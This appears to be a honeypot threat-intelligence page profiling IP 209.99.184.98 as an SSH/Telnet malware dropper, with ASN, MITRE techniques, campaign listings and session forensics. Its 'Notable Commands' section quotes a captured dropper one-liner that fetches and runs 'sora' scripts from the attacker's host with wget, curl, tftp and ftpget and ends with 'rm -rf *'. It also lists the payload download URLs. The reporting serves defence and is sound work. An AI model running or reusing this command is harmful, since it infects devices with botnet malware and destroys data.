IntrusionLabs IntrusionLabs
← Back to feed

209.99.184.98

TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
Threat Confidence
56%
Assessment
Malware dropper: logs in and downloads payloads
  • Downloaded 40 files and ran 28 commands on the host.
  • Part of a 253-IP campaign probing the same targets.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇨🇭 CH / Zurich
ASN
AS402253 · SKN Subnet & Telecom Ltd
Cloud Provider
—
Total Events
94
Above average by volume
Agent Count
2
First / Last Seen
2026-10-10 17:48 — 2026-10-11 00:37
Attack Types
ssh:connection ssh:malware telnet:connection telnet:malware
MITRE ATT&CK Techniques
Reconnaissance
T1595 T1595.001
Initial Access
T1078
Defense Evasion
T1070.004
Discovery
T1046
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Multi-Agent Scan SCAN Active medium
13 IPs 112628 events
2026-10-10 — ongoing · 13 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
76 IPs 422425 events
2026-10-10 — ongoing · 76 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
192 IPs 506396 events
2026-09-30 — ongoing · 192 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
50 IPs 171413 events
2026-09-30 — ongoing · 50 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
218 IPs 943176 events
2026-09-26 — ongoing · 218 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
191 IPs 761035 events
2026-09-26 — ongoing · 191 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
133 IPs 457796 events
2026-09-24 — ongoing · 133 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
192 IPs 530875 events
2026-09-21 — ongoing · 192 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
178 IPs 813730 events
2026-09-21 — ongoing · 178 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
209 IPs 906167 events
2026-09-14 — ongoing · 209 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
235 IPs 936655 events
2026-09-14 — ongoing · 235 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
197 IPs 849478 events
2026-09-09 — ongoing · 197 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
205 IPs 879294 events
2026-09-09 — ongoing · 205 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
194 IPs 902073 events
2026-05-29 — ongoing · 194 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
169 IPs 433373 events
2026-05-29 — ongoing · 169 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
140 IPs 544537 events
2026-05-29 — ongoing · 140 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
205 IPs 769003 events
2026-05-22 — ongoing · 205 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
150 IPs 451308 events
2026-05-22 — ongoing · 150 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
224 IPs 995732 events
2026-05-22 — ongoing · 224 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
AS402253 SKN Subnet & Telecom Ltd ASN Active medium 🇨🇭 CH
5 IPs 1312 events
http:scanssh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:bruteforcetelnet:connectiontelnet:intrusiontelnet:malware
2026-04-21 — 2026-09-10 · 5 IPs from the same network (SKN Subnet & Telecom Ltd, AS402253) were active during overlapping time periods. …
Multi-Agent Scan SCAN Active medium
198 IPs 770176 events
2026-04-05 — ongoing · 198 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
200 IPs 978711 events
2026-03-08 — ongoing · 200 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
253 IPs 1000968 events
2026-03-03 — ongoing · 253 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
170 IPs 737062 events
2026-03-03 — ongoing · 170 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
149 IPs 654085 events
2026-03-03 — ongoing · 149 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
180 IPs 758764 events
2026-03-03 — ongoing · 180 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
216 IPs 1004805 events
2026-03-03 — ongoing · 216 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
40 IPs 12780 events
2026-03-03 — ongoing · 40 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
242 IPs 955105 events
2026-03-03 — ongoing · 242 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
226 IPs 889399 events
2026-03-03 — ongoing · 226 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
250 IPs 928166 events
2026-03-01 — ongoing · 250 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
186 IPs 718787 events
2026-02-27 — ongoing · 186 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Multi-Agent Scan SCAN Active medium
109 IPs 433698 events
2026-02-27 — ongoing · 109 IPs independently targeted the same honeypot sensors within a 24-hour window. Scanning the same targets in close …
Session Forensics
scanner ×1 malware_dropper ×4
Sessions
5 (4 with login)
Avg Depth Score
0.83
Commands Executed
28
Files Downloaded
40
Notable Commands
  • enable
  • sh
  • shell
  • shell
  • help
  • busybox
  • cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.99.184.98/sora.sh; curl -O http://209.99.184.98/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 209.99.184.98 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 209.99.184.98; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 209.99.184.98 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *
Download URLs
  • http://209.99.184.98/sora.sh
  • http://209.99.184.98/bins/sora.x86
  • http://209.99.184.98/bins/sora.mips
  • http://209.99.184.98/bins/sora.mpsl
  • http://209.99.184.98/bins/sora.arm4
Evidence Timeline
Scanner bf6af7b49ec0 greencloud_phx_01 · 2026-10-11 00:37
15%
Loading events...
Malware Dropper 088700b0aec0 newark_01 · 2026-10-10 18:26
7 10 1 100%
Loading events...
Malware Dropper eac41b2f0a94 newark_01 · 2026-10-10 18:11
7 10 1 100%
Loading events...
Malware Dropper f2afb2a1f86e newark_01 · 2026-10-10 17:50
7 10 1 100%
Loading events...
Malware Dropper 65525ba67b0a newark_01 · 2026-10-10 17:48
7 10 1 100%
Loading events...